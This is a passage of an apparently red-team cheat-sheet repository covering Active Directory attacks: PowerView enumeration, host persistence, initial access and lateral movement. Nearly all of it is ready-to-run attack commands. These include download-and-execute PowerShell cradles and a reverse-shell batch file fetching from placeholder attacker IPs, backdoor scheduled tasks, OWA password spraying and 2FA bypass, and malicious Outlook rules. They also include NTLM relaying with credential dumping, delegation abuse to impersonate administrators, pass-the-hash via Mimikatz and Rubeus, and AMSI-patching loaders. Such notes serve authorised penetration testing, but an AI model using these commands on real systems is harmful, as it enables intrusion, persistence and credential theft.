Get-DomainFileServer 231 | ``` 232 | 233 | ### Powerview GPO 234 | #### Get list of GPO's in the current domain 235 | ``` 236 | Get-DomainGPO 237 | ``` 238 | 239 | #### Get GPO of a specific computer 240 | ``` 241 | Get-DomainGPO -Computername 242 | ``` 243 | 244 | #### Get GPO's which uses restricteds groups or groups.xml for interesting users 245 | - Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences. 246 | ``` 247 | Get-DomainGPOLocalGroup 248 | ``` 249 | 250 | #### Get users which are in a local group of a machine using GPO 251 | ``` 252 | Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity 253 | ``` 254 | 255 | #### Get machines where the given user is member of a specific group 256 | - Enumerates the machines where a specific domain user/group is a member of a specific local group. 257 | ``` 258 | Get-DomainGPOUserLocalGroupMapping -Identity -Verbose 259 | Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName 260 | ``` 261 | 262 | #### Get GPO applied on an OU. 263 | - Read name from gplink attribute from ```Get-DomainOU``` 264 | ``` 265 | Get-DomainGPO -Identity '{}' 266 | ``` 267 | 268 | #### Get users which are in a local group of a machine in any OU using GPO 269 | ``` 270 | (Get-DomainOU).distinguishedname | %{Get-DomainComputer -SearchBase $_} | Get-DomainGPOComputerLocalGroupMapping 271 | ``` 272 | 273 | #### Get users which are in a local group of a machine in a particular OU using GPO 274 | ``` 275 | (Get-DomainOU -Identity 'OU=Mgmt,DC=us,DC=techcorp,DC=local').distinguishedname | %{GetDomainComputer -SearchBase $_} | GetDomainGPOComputerLocalGroupMapping 276 | ``` 277 | 278 | ### Powerview OU 279 | #### Get OU's in a domain 280 | ``` 281 | Get-DomainOu -Fulldata 282 | ``` 283 | 284 | #### Get machines that are part of an OU 285 | ``` 286 | Get-DomainOu | %{Get-DomainComputer -ADSPath $_} 287 | Get-DomainComputer | ? { $_.DistinguishedName -match "OU=" } | select DnsHostName 288 | ``` 289 | 290 | ## Powerview ACL 291 | #### Get the ACL's associated with the specified object 292 | ``` 293 | Get-DomainObjectAcl -Identity -ResolveGUIDS 294 | ``` 295 | 296 | #### Get the ACL's associated with the specified prefix to be used for search 297 | ``` 298 | Get-DomainObjectAcl -ADSprefix ‘CN=Administrator,CN=Users’ -Verbose 299 | ``` 300 | 301 | #### Get the ACLs associated with the specified LDAP path to be used for search 302 | ``` 303 | Get-DomainObjectAcl -Searchbase "LDAP://CN=Domain Admins,CN=Users,DC=us,DC=techcorp,DC=local" -ResolveGUIDs -Verbose 304 | ```` 305 | 306 | #### Get the ACL's associated with the specified path 307 | ``` 308 | Get-PathAcl -Path "\\\sysvol" 309 | ``` 310 | 311 | #### Search for interesting ACL's 312 | ``` 313 | Find-InterestingDomainAcl -ResolveGUIDs 314 | Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl 315 | 316 | #New Powerview 317 | Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl 318 | ``` 319 | 320 | #### Search of interesting ACL's for the current user 321 | ``` 322 | Find-InterestingDomainAcl | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name} 323 | ``` 324 | 325 | ### Powerview Domain trust 326 | #### Get a list of all the domain trusts for the current domain 327 | ``` 328 | Get-DomainTrust 329 | ``` 330 | 331 | #### Get details about the forest 332 | ``` 333 | Get-Forest 334 | ``` 335 | 336 | #### Get all domains in the forest 337 | ``` 338 | Get-ForestDomain 339 | Get-forestDomain -Forest 340 | ``` 341 | 342 | #### Get global catalogs for the current forest 343 | ``` 344 | Get-ForestGlobalCatalog 345 | Get-ForestGlobalCatalog -Forest 346 | ``` 347 | 348 | #### Map trusts of a forest 349 | ``` 350 | Get-ForestTrust 351 | Get-ForestTrust -Forest 352 | Get-ForestDomain -Verbose | Get-DomainTrust 353 | ``` 354 | 355 | ### Powerview session 356 | #### Enumerate domain admin sessions 357 | - Enumerates all machines and queries the domain for users of a specified group (default Domain Admins). Then finds domain machines where those users are logged into. 358 | ``` 359 | Find-DomainUserLocation | select UserName, SessionFromName 360 | ``` 361 | 362 | ### Get-NetSession 363 | ``` 364 | Get-NetSession 365 | ``` 366 | 367 | ### BloodHound 368 | https://github.com/BloodHoundAD/BloodHound 369 | ``` 370 | cd Ingestors 371 | . ./sharphound.ps1 372 | Invoke-Bloodhound -CollectionMethod all -Verbose 373 | Invoke-Bloodhound -CollectionMethod LoggedOn -Verbose 374 | 375 | #Copy neo4j-community-3.5.1 to C:\ 376 | #Open cmd 377 | cd C:\neo4j\neo4j-community-3.5.1-windows\bin 378 | neo4j.bat install-service 379 | neo4j.bat start 380 | #Browse to BloodHound-win32-x64 381 | Run BloodHound.exe 382 | #Change credentials and login 383 | ``` 384 | 385 | #### Custom queries 386 | - https://github.com/SadProcessor/Cheats/blob/master/DogWhispererV2.md#v--rest-api 387 | - https://ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf 388 | 389 | ### Ldapsearch 390 | - https://github.com/yaap7/ldapsearch-ad 391 | - https://github.com/ropnop/windapsearch 392 | 393 | ``` 394 | python3 windapsearch.py --dc-ip -u '\' 395 | python3 ldapsearch-ad.py -l -d -u -p 396 | ``` 397 | -------------------------------------------------------------------------------- /windows-ad/Host-Persistence.md: -------------------------------------------------------------------------------- 1 | * [User land](#User-land) 2 | * [Startup](#Startup) 3 | * [Registery keys](#Registery-keys) 4 | * [LNK](#LNK) 5 | * [Schtask](#sSchtasks) 6 | * [Elevated](#Elevated) 7 | * [Schtasks](#Schtasks2) 8 | * [Just Enough Admin](#Just-Enough-Admin) 9 | 10 | ## Host Persistence 11 | ### Userland 12 | ### Startup 13 | - Batch script inside user directory ```$env:APPDATA'\Microsoft\Windows\Start Menu\Programs\Startup\'``` 14 | 15 | #### Startup folder sharpersist.exe 16 | - Download an execute cradle as persistence 17 | ``` 18 | str='IEX ((new-object net.webclient).downloadstring("http://x.x.x.x/a"))' 19 | echo -en $str | iconv -t UTF-16LE | base64 -w 0 20 | SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -f "UserEnvSetup" -m add 21 | ``` 22 | 23 | ### Registery keys 24 | - https://attack.mitre.org/techniques/T1060/ 25 | 26 | #### Registery sharpersist.exe 27 | - ```-k``` is the registry key to modify. 28 | - ```-v``` is the name of the registry key to create. 29 | ``` 30 | SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add 31 | ``` 32 | 33 | ### LNK 34 | - Modify links to execute arbritary code 35 | - https://github.com/HarmJ0y/Misc-PowerShell/blob/master/BackdoorLNK.ps1 36 | 37 | ### Schtasks 38 | ``` 39 | # Daily at 10:00 40 | schtasks /create /tn "NotEvil" /tr C:\backdoor.exe /sc daily /st 10:00 41 | 42 | # Run a task each time the user's sessions is idle for 10 minutes 43 | schtasks /create /tn "NotEvil" /tr C:\backdoor.exe /sc onidle /i 10 44 | ``` 45 | 46 | ##### schtask sharpersist.exe 47 | - Download an execute cradle as persistence 48 | ``` 49 | str='IEX ((new-object net.webclient).downloadstring("http://x.x.x.x/a"))' 50 | echo -en $str | iconv -t UTF-16LE | base64 -w 0 51 | SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -n "Updater" -m add -o hourly 52 | ``` 53 | 54 | #### Microsoft Office Trusted Locations 55 | - Allow DLL or macros to execute despite the configured security settings (Ignored if macro's or add-ins have been blocked by GPO) 56 | - Create a new Excel document with a module containing the persistence mechanism. Save it as "Excel Add-in" inside ```%APPDATA%\Microsoft\Excel\XLSTART``` and it will be launched every tim the user opens MS Excel application. 57 | - https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/ 58 | 59 | ## Elevated 60 | ### Schtasks2 61 | ``` 62 | # Run task as system each time a user logs in 63 | schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "NotEvil" /tr C:\backdoor.exe /sc onlogon 64 | ``` 65 | 66 | ### Just Enough Admin 67 | - If we have admin privileges on a machine, we can create a JEA endpoint which allows all commands to a user we control. 68 | - With this capability, it is also possible to clear the transcripts for this endpoint. 69 | 70 | #### Create a new JEA endpoint 71 | - https://github.com/samratashok/RACE 72 | 73 | ``` 74 | Set-JEAPermissions -ComputerName ops-dc -SamAccountName -Verbose 75 | ``` 76 | 77 | #### Connect to JEA endpoint 78 | ``` 79 | Enter-PSSession -ComputerName ops-dc -ConfigurationName microsoft.powershell64 80 | ``` 81 | -------------------------------------------------------------------------------- /windows-ad/Host-Reconnaissance.md: -------------------------------------------------------------------------------- 1 | #### Seatbelt - Gather generic info of the host 2 | - https://github.com/GhostPack/Seatbelt 3 | ``` 4 | Seatbelt.exe -group=system 5 | Seatbelt.exe -group=user 6 | Seatbelt.exe -group=all 7 | ``` 8 | 9 | #### Get loggged on sessions 10 | ``` 11 | net logons 12 | ``` 13 | 14 | #### Get list of running processes 15 | ``` 16 | ps 17 | ``` 18 | 19 | #### Check if RSAT tools is installed 20 | ``` 21 | Get-Module -List -Name GroupPolicy | select -expand ExportedCommands 22 | ``` 23 | 24 | #### Install RSAT Tools 25 | ``` 26 | Install-WindowsFeature –Name GPMC 27 | ``` 28 | 29 | #### Get all GPO's applied to a machine 30 | - Run with elevated prompt 31 | ``` 32 | gpresult /H gpos.html 33 | ``` 34 | -------------------------------------------------------------------------------- /windows-ad/Initial-Access.md: -------------------------------------------------------------------------------- 1 | # Initial Access attacks 2 | * [From the outside](#From-the-outside) 3 | * [Web Attacks](#Web-Attacks) 4 | * [Password Attacks](#Password-Attacks) 5 | * [Exchange / OWA](#Exchange-/-OWA) 6 | * [From the inside](#From-the-inside) 7 | * [Web Attacks](#Web-Attacks2) 8 | * [Password Attacks](#Password-Attacks2) 9 | * [Enumerate users](#Enumerate-users) 10 | * [AS-REP Roasting](#AS-REP-Roasting) 11 | * [Exchange / OWA](#Exchange-/-OWA2) 12 | * [Relaying Attacks](#Relaying-Attacks) 13 | * [SMB relaying](#SMB-relaying) 14 | * [LDAP Relaying](#LDAP-Relaying) 15 | * [LDAPS Relaying](#LDAPS-Relaying) 16 | * [Resource Based Constrained Delegation Webclient Attack](#Resource-Based-Constrained-Delegation-Webclient-Attack) 17 | 18 | # From the outside 19 | ## Web Attacks 20 | - It is possible to get access by abusing a lot of web attacks which might give you access to the system. There are to many to subscribe here, but I might make a list someday. 21 | 22 | ## Password Attacks 23 | ### Exchange / OWA 24 | - Attah path could be: Reconnaissance --> OWA Discovery --> Internal Domain Discovery --> Naming scheme fuzzing --> Username enumeration --> Password discovery --> GAL Extraction --> More Password discovery --> 2fa bypass --> Remote Access through VPN/RDP / Malicious Outlook Rules or Forms / Internal Phishing 25 | 26 | #### Collection of data (OSINT) 27 | - Collect e-mail adresses, usernames, passwords, get the email/user account naming scheme with tools such as: 28 | - https://github.com/mschwager/fierce 29 | - https://www.elevenpaths.com/innovation-labs/technologies/foca 30 | - https://github.com/lanmaster53/recon-ng 31 | - https://github.com/leebaird/discover 32 | - https://github.com/laramies/theHarvester 33 | 34 | #### Domain name discovery 35 | - https://github.com/dafthack/MailSniper 36 | ``` 37 | Invoke-DomainHarvestOwa -ExchHostname 38 | Invoke-DomainHarvestOwa -ExchHostname -OutFile -CompanyName "TARGET NAME" 39 | ``` 40 | - Internal Domain name may be found inside a SSL Certificate 41 | 42 | #### Name scheme fuzzing 43 | - Create a username list from the OSINT 44 | - Could use https://github.com/dafthack/EmailAddressMangler to generate mangled username list 45 | ``` 46 | Invoke-EmailAddressMangler -FirstNamesList -LastNameList -AddresConvention fnln | Out-File -Encoding ascii possible-usernames.txt 47 | ``` 48 | 49 | - https://gist.github.com/superkojiman/11076951 50 | ``` 51 | /opt/namemash.py names.txt >> possible-usernames.txt 52 | ``` 53 | 54 | #### Username Enumeration 55 | - https://github.com/dafthack/MailSniper 56 | ``` 57 | Invoke-UsernameHarvestOWA -Userlist possible-usernames.txt -ExchHostname -DOMAIN -OutFile domain_users.txt 58 | ``` 59 | 60 | #### Password discovery 61 | - https://github.com/dafthack/MailSniper 62 | ``` 63 | Invoke-PasswordSprayOWA -ExchHostname -Userlist domain_users.txt -Password -Threads 15 -Outfile owa-sprayed-creds.txt 64 | Invoke-PasswordSprayEWS -ExchHostname -Userlist domain_users.txt -Password -Threads 15 -Outfile ews-sprayed-creds.txt 65 | ``` 66 | 67 | #### Global Address List (GAL) Extraction 68 | - https://els-cdn.content-api.ine.com/09f3f35f-6f69-4a9d-90be-d13046e692c0/index.html# 69 | ``` 70 | Get-GlobalAddressList -ExchHostname -UserName \ -Password -Verbose -OutFile global-address-list.txt 71 | ``` 72 | - Then you could spray passwords again to get access to more mail accounts! 73 | 74 | #### Bypassing 2fa 75 | - Can check by server responses if supplied password is correct or not. 76 | - Most 2FA vendors do not cover all available Exchange protocols. Owa might be protected but EWS might not be! 77 | 78 | ``` 79 | # Access through EWS 80 | Invoke-SelfSearch -Mailbox -ExchHostname -remote 81 | ``` 82 | 83 | #### Spreading the compromise 84 | - Pillaging mailboxes for credentials/sensitive data 85 | - https://github.com/milo2012/owaDump (--keyword option) 86 | - https://github.com/dafthack/MailSniper (Invoke-SelfSearch) 87 | - https://github.com/xorrior/EmailRaider (Invoke-MailSearch) 88 | - Internal phishing 89 | - Mail from internal email adresses to targets. 90 | - Malicious Outlook rules 91 | - Two interested options: Start application and run a script (Start application is synced through Exchange server, run a script is not) 92 | - Since Outlook 2016 both options are disabled by default 93 | - Attack prequisites: 94 | - Identification of valid credentials 95 | - Exchange Service Access (via RPC or MAPI over HTTP) 96 | - Malicious file dropped on disk (Through WebDAV share using UNC or local SMB share when physically inside) 97 | - The attack: 98 | - Create a malicious executable (EXE, HTA, BAT, LNK etc.) and host it on an open WebDAV share 99 | - Create a malicious Outlook rule using the rulz.py script, pointing the file path to your WebDAV share 100 | - https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc 101 | - Run a local Outlook instance using the target's credentials and import the malicious rule you created (File --> Manager Rules & Alerts --> Options --> Improt rules) 102 | - Send the trigger email. 103 | - Malicious Outlook Forms 104 | - If the path is applied that disables Run Application and Run Script rules this still works! 105 | - Attack prequisites: 106 | - Identification of valid credentials 107 | - Exchange service access 108 | - KB4011091 for outlook 2016 seems to block VBSCript in forms 109 | - https://github.com/sensepost/ruler/wiki/Forms 110 | - ```.\ruler --email form add --suffix form_name --input /tmp/command.txt --send``` 111 | 112 | # From the inside 113 | ## Web Attacks2 114 | - It is possible to get access by abusing a lot of web attacks which might give you access to the system. There are to many to subscribe here, but I might make a list someday. 115 | 116 | ## Password Attacks2 117 | ### Enumerate users 118 | - https://github.com/ropnop/kerbrute 119 | ``` 120 | sudo ./kerbrute userenum -d domain_users.txt -dc 121 | ``` 122 | 123 | #### Spray one password against all users 124 | - Use ```--continue-on-success``` too keep going after 1 successful login 125 | ``` 126 | crackmapexec smb -d -u domain_users.txt -p | tee passwordspray.txt 127 | ``` 128 | 129 | ### AS-REP Roasting 130 | ``` 131 | python3 GetNPUsers.py / -usersfile domain_users.txt -format hashcat -outputfile AS_REP_hashcat.txt 132 | ``` 133 | 134 | #### Crack hashes with hashcat 135 | ``` 136 | hashcat -a 0 -m 18200 hash.txt rockyou.txt 137 | ``` 138 | 139 | ### Exchange / OWA 140 | - All the attacks from the outside works from the inside! 141 | 142 | #### Enumerate all mailboxes 143 | - https://github.com/dafthack/MailSniper 144 | ``` 145 | Get-GlobalAddressList -ExchHostname -UserName \ -Password -Verbose -OutFile global-address-list.txt 146 | ``` 147 | 148 | #### Check access to mailboxes with current user 149 | - https://github.com/dafthack/MailSniper 150 | ``` 151 | Invoke-OpenInboxFinder -EmailList emails.txt -ExchHostname us-exchange -Verbose 152 | ``` 153 | 154 | #### Read e-mails 155 | - https://github.com/dafthack/MailSniper 156 | - The below command looks for terms like pass, creds, credentials from top 100 emails 157 | ``` 158 | Invoke-SelfSearch -Mailbox -ExchHostname -OutputCsv .\mail.csv 159 | ``` 160 | 161 | ## Relaying attacks 162 | - https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/ 163 | 164 | #### Check if LLMNR and NBT-NS is used 165 | - Link Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS). 166 | - Use ```-A``` for analyze mode. 167 | ``` 168 | Responder -I eth0 -A 169 | ``` 170 | 171 | ### SMB relaying 172 | #### Check for SMB hosts without SMB signing 173 | ``` 174 | crackmapexec smb --gen-relay-list smb_hosts_nosigning.txt 175 | ``` 176 | 177 | #### Poison Requests 178 | ``` 179 | Responder -I eth0 180 | ``` 181 | 182 | #### Relay requests SMB and dump SAM 183 | - we have to modify the Responder.conf file and disable the HTTP and SMB servers (as NTLM relay will be our SMB and HTTP server). 184 | - the ```-d``` flag has now been changed from “Enable answers for NETBIOS domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False” to “Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False”. It should also be noted that ```-d``` as it is now CAN have an impact on your client’s network, as you are effectively poisoning the WPAD file over DHCP, which does not always revert back immediately once you stop the attack. It will likely require a reboot. 185 | ``` 186 | Responder -I eth0 187 | ntlmrelayx.py -tf smb_hosts_nosigning.txt 188 | ``` 189 | 190 | #### Relay requests SMB and keep SMB sessions open 191 | - Use the ```socks``` option to be able to use the ```socks``` command to get a nice overview of the relayed attempts. It will also keep the SMB connection open indefinitely. 192 | 193 | ``` 194 | Responder -I eth0 195 | ntlmrelayx.py -tf smb_hosts_nosigning.txt --socks 196 | 197 | # Get overview of all relay attempts 198 | ntlmrelayx> socks 199 | 200 | # Change socks proxy 201 | sudo vim /etc/proxychains4.conf 202 | socks4 127.0.0.1 1080 203 | 204 | # Use proxychains and it will ignore the password value and use the relay credential instead 205 | proxychains python3 secretsdump.py /:IDontCareAboutPassword@ 206 | 207 | # Also possible to access shares on the network, for example if user is not local admin 208 | proxychains python3 smbclient.py /:IDontCareAboutPassword@ 209 | ``` 210 | 211 | ### LDAP Relaying 212 | - With mitm6 213 | - In modern Windows operating systems, IPv6 is enabled by default. This means that systems periodically poll for an IPv6 lease, as IPv6 is a newer protocol than IPv4, and Microsoft decided it was a good idea to give IPv6 precedence over IPv4. 214 | - However, in the vast majority of organizations, IPv6 is left unused, which means that an adversary could hijack the DHCP requests for IPv6 addresses and force authentication attempts to the attacker-controlled system. We do that by setting our system as the primary DNS server. 215 | - Spoof any requests for internal resources 216 | 217 | ``` 218 | sudo mitm6 -d --ignore-nofqdn 219 | ntlmrelayx.py -t ldap:// -wh -6 220 | ``` 221 | 222 | ### LDAPS Relaying 223 | - Relaying LDAPS can add a new computer account by abusing the fact that, by default, user are allowed to join domain up to 10 new computer objects 224 | 225 | #### Enable the LDAPS relay 226 | - Can wait for mitm6 to poison or force it 227 | ``` 228 | sudo mitm6 -d --ignore-nofqdn 229 | 230 | ntlmrelayx.py -t ldaps:// --add-computer 231 | ``` 232 | 233 | - When computer account is created. This account can be used to enumerate the domain! 234 | 235 | ### Resource Based Constrained Delegation Webclient Attack 236 | - Requirements: 237 | - On a Domain Controller to have the LDAP server signing not enforced (default value) (Requires authentication to check) 238 | - On a Domain Controller to have the LDAPS channel binding not required (default value) 239 | - Able to add new machines accounts (default value this quota is 10) (Requires authentication to check) 240 | - On the network, machines with WebClient running (some OS version had this service running by default or use the webclient starting trick from DTMSecurity) (Requires authentication to check) 241 | - A DNS record pointing to the attacker’s machine (By default authenticated users can do this) (Requires authentication to add) 242 | 243 | #### Check LDAPS Binding 244 | - https://github.com/zyn3rgy/LdapRelayScan 245 | ``` 246 | python3 LdapRelayScan.py -method LDAPS -dc-ip 247 | ``` 248 | 249 | #### Start mitm6 and NTLMRelay 250 | ``` 251 | sudo mitm6 -d --ignore-nofqdn 252 | sudo ntlmrelayx.py -t ldaps:// --delegate-access 253 | ``` 254 | 255 | - When computer account is created. This account can be used to enumerate the domain! 256 | 257 | #### Check for a user to impersonate 258 | - Preferably a user that would be admin on the machine (Check BloodHound). Maybe another command to check if user is admin on a machine? Is that possible? We should check! 259 | - User should not be part of "Protected Users group" or accounts with the "This account is sensitive and cannot be delegated" right 260 | ``` 261 | $creds = Get-Credential 262 | Get-DomainUser -Credential $creds -Domain -Server | ? {!($_.memberof -Match "Protected Users")} | select samaccountname, memberof 263 | ``` 264 | 265 | #### Impersonate any user and exploit 266 | - Impersonate any user except those in groups "Protected Users" or accounts with the "This account is sensitive and cannot be delegated" right 267 | ``` 268 | getST.py /@ -spn cifs/ -impersonate administrator -dc-ip 269 | Export KRB5CCNAME=administrator.ccache 270 | python3 Psexec.py -k -no-pass 271 | python3 Secretsdump.py -k 272 | ``` 273 | -------------------------------------------------------------------------------- /windows-ad/Lateral-Movement.md: -------------------------------------------------------------------------------- 1 | # Lateral Movement 2 | * [General](#General) 3 | * [Pass The Hash](#Pass-The-Hash) 4 | * [Overpass The Hash](#Overpass-The-Hash) 5 | * [Check Local Admin Access](#Check-Local-Admin-Access) 6 | * [Offensive .NET](#Offensive-.NET) 7 | * [Lateral Movement Techniques](#Lateral-Movement-Techniques) 8 | * [PSSession](#PSSession) 9 | * [PSExec](#PSExec) 10 | * [SC.exe](#SC.exe) 11 | * [Schtasks.exe](#schtasks.exe) 12 | * [AT](#AT) 13 | * [WMI](#WMI) 14 | * [Poisonhandler](#Poisonhandler) 15 | * [RDP](#RDP) 16 | * [ChangeServiceConfigA](#ChangeServiceConfigA) 17 | * [WinRM](#WinRM) 18 | * [DCOM](#DCOM) 19 | * [Named Pipes](#Named-Piped) 20 | * [Powershell Web access](#Powershell-Web-access) 21 | * [NTLM Relaying](#NTLM-Relaying) 22 | 23 | ## General 24 | #### Add domain user to localadmin 25 | ``` 26 | net localgroup Administrators \ /add 27 | ``` 28 | 29 | #### Connect to machine with administrator privs 30 | ``` 31 | Enter-PSSession -Computername 32 | $sess = New-PSSession -Computername 33 | Enter-PSSession $sess 34 | ``` 35 | 36 | #### PSremoting NTLM authetication (after overpass the hash) 37 | ``` 38 | Enter-PSSession -ComputerName -Authentication Negotiate 39 | ``` 40 | 41 | #### Execute commands on a machine 42 | ``` 43 | Invoke-Command -Computername -Scriptblock {} 44 | Invoke-Command -Scriptblock {} $sess 45 | ``` 46 | 47 | #### Load script on a machine 48 | ``` 49 | Invoke-Command -Computername -FilePath 50 | Invoke-Command -FilePath $sess 51 | ``` 52 | 53 | #### Execute locally loaded function on a list of remote machines 54 | ``` 55 | Invoke-Command -Scriptblock ${function:} -Computername (Get-Content computers.txt) 56 | Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Computername (Get-Content computers.txt) 57 | ``` 58 | 59 | ### Run as context of other user 60 | #### Runas other user 61 | ``` 62 | runas /netonly /user:\ cmd.exe 63 | runas /netonly /user:\ powershell.exe 64 | ``` 65 | 66 | #### Rubeus 67 | ``` 68 | .\rubeus.exe asktgt /user: /domain: /dc: /rc4: 69 | ``` 70 | 71 | #### Mimikatz 72 | ``` 73 | mimikatz.exe sekurlsa::pth /domain: /user: /rc4: 74 | ``` 75 | 76 | ### Remote port forward socat Windows 77 | - https://netcologne.dl.sourceforge.net/project/unix-utils/socat/1.7.3.2/socat-1.7.3.2-1-x86_64.zip 78 | - Download all dll's and executable on target 79 | - First hop is compromised machine 80 | ``` 81 | socat.exe tcp-listen:,tcp-connect:: 82 | ``` 83 | 84 | #### Then let it listen on our kali machine 85 | - so we can connect with our windows tool for example 86 | ``` 87 | socat tcp-l:,fork tcp:: 88 | ``` 89 | 90 | ## Pass the hash 91 | #### Impacket 92 | - Use the empty lm hash ```00000000000000000000000000000000``` 93 | - https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 94 | ``` 95 | .\psexec_windows.exe -hashes : /@ 96 | ``` 97 | 98 | #### Crackmapexec 99 | - Required elevated privileges to execute commands 100 | ``` 101 | cme smb -d -u -H -X 102 | ``` 103 | 104 | #### Invoke-TheHash 105 | - https://github.com/Kevin-Robertson/Invoke-TheHash 106 | - Can use the command ```net localgroup administrators \ /add``` and do ```enter-pssession``` after to connect 107 | ``` 108 | Invoke-SMBExec -Target -Domain -Username -Hash -Command -Verbose 109 | ``` 110 | 111 | #### Psexec 112 | - Seems to only work with password or after a overpass the hash attack with Mimikatz! 113 | ``` 114 | .\PsExec64.exe \\ -accepteula -u \ cmd.exe 115 | .\PsExec64.exe \\ -accepteula 116 | ``` 117 | 118 | ### Overpass The Hash 119 | - Over Pass the hash (OPTH) generate tokens(kerberos) from hashes or keys. Needs elevation (Run as administrator) 120 | - OPSEC TIP: Use aes256 keys! 121 | 122 | #### Calculate NTLM hash 123 | ``` 124 | .\Rubeus.exe hash /password: /user: /domain: 125 | ``` 126 | 127 | #### Mimikatz overpass the hash 128 | ``` 129 | Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /aes256: /run:powershell.exe"' 130 | Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"' 131 | ``` 132 | 133 | #### SafetyKatz 134 | ``` 135 | SafetyKatz.exe "sekurlsa::pth /user: /domain: /aes256: /run:cmd.exe" "exit" 136 | ``` 137 | 138 | #### Rubeus 139 | - Below doesn't need elevation 140 | ``` 141 | Rubeus.exe asktgt /user: /rc4: /domain /nowrap /ptt 142 | Rubeus.exe asktgt /user: /aes256: /domain /opsec /nowrap /ptt 143 | ``` 144 | 145 | - Below command needs elevation 146 | ``` 147 | Rubeus.exe asktgt /user: /aes256: /domain /opsec /nowrap /createnetonly:C:\Windows\System32\cmd.exe /show /ptt 148 | ``` 149 | 150 | ### Double hop 151 | #### Pssession in pssession 152 | ``` 153 | Enter-PSSession -ComputerName 154 | $sess = New-PSSession -Credential \ 155 | Invoke-Command -Scriptblock {hostname; whoami;} -Session $sess 156 | ``` 157 | 158 | #### Overpass the hash mimikatz reverse shell 159 | ``` 160 | powercat -l -v -p 444 -t 5000 161 | 162 | $sess = New-PSSession 163 | #.ps1 is a reverse shell back to the attacker machine, make sure you run it as the user you want 164 | $Contents = 'powershell.exe -c iex ((New-Object Net.WebClient).DownloadString(''http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1''))'; Out-File -Encoding Ascii -InputObject $Contents -FilePath reverse.bat 165 | Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:C:\reverse.bat"' 166 | ``` 167 | 168 | ## Check Local Admin Access 169 | #### Crackmapexec 170 | ``` 171 | cme smb -d -u -H 172 | ``` 173 | 174 | #### Powerview 175 | ``` 176 | Find-LocalAdminAccess -Verbose 177 | ``` 178 | 179 | ### Other scripts 180 | ``` 181 | . ./Find-WMILocalAdminAccess.ps1 182 | Find-WMILocalAdminAccess 183 | ``` 184 | 185 | ``` 186 | . ./Find-PSRemotingLocalAdminAccess.ps1 187 | Find-PSRemotingLocalAdminAccess 188 | ``` 189 | 190 | ## Offensive .NET 191 | - https://github.com/Flangvik/NetLoader 192 | - Load binary from filepath or URL and patch AMSI & ETW while executing 193 | ``` 194 | C:\Users\Public\Loader.exe -path http://xx.xx.xx.xx/something.exe 195 | ``` 196 | 197 | #### Use custom exe Assembyload to run netloader in memory and then load binary 198 | ``` 199 | C:\Users\Public\AssemblyLoad.exe http://xx.xx.xx.xx/Loader.exe -path http://xx.xx.xx.xx/something.exe 200 | ``` 201 | 202 | ## Lateral Movement Techniques 203 | 204 | ### PSSession 205 | - Uses winrm / wmi 206 | #### Save pssession in variable 207 | ``` 208 | $sess = New-PSSession -Credential $creds -ComputerName 209 | ``` 210 | 211 | #### Run commands on machine 212 | ``` 213 | Invoke-Commannd -ScriptBlock {} -Session $sess 214 | ``` 215 | 216 | #### Run commands on multiple machines 217 | ``` 218 | Invoke-Command –Scriptblock {} -ComputerName (Get-Content computers.txt) 219 | ``` 220 | 221 | #### Load script on machine 222 | ``` 223 | Invoke-Commannd -Filepath -Session $sess 224 | ``` 225 | 226 | #### Execute script on multiple machines 227 | ``` 228 | Invoke-Command –FilePath script.ps1 -ComputerName (Get-Content computers.txt) 229 | ``` 230 | 231 | #### Execute locally loaded function on remote machines: 232 | ``` 233 | Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content computers.txt) 234 | ``` 235 | 236 | #### Copy item through PSSession 237 | ``` 238 | Copy-Item -ToSession $sess -Path -Destination -verbose 239 | ``` 240 | 241 | ### PSexec 242 | ``` 243 | psexec.exe -u \ -p \\ cmd.exe 244 | python psexec.py /:@ 245 | ``` 246 | 247 | ### SC.exe 248 | - Smbexec.py can be used to automate the process 249 | ``` 250 | sc.exe \\ create SERVICE_NAME displayname=NAME binpath="COMMAND" start=demand 251 | sc.exe \\ start SERVICE_NAME 252 | sc.exe \\ delete SERVICE_NAME 253 | ``` 254 | 255 | ### Schtasks.exe 256 | ``` 257 | schtasks /create /F /tn /tr COMMAND /sc once /st 23:00 /s /U /P 258 | schtasks /run /F /tn /s /U /P 259 | schtasks /delete /F /tn /s 260 | ``` 261 | 262 | ### AT 263 | ``` 264 | reg.py 265 | atexec.py 266 | ``` 267 | 268 | ### WMI 269 | ``` 270 | wmiexec.py /:@ 271 | ``` 272 | 273 | ### PoisonHandler 274 | - https://github.com/Mr-Un1k0d3r/PoisonHandler 275 | 276 | ### RDP 277 | #### Pass the hash rdp xfreerdp 278 | ``` 279 | xfreerdp /u: /d: /pth: /v: 280 | ``` 281 | 282 | #### Pass the hash RDP 283 | ``` 284 | Invoke-Mimikatz -Command "sekurlsa::pth /user: /domain: /ntlm /run:'mstsc.exe /restrictedadmin'" 285 | 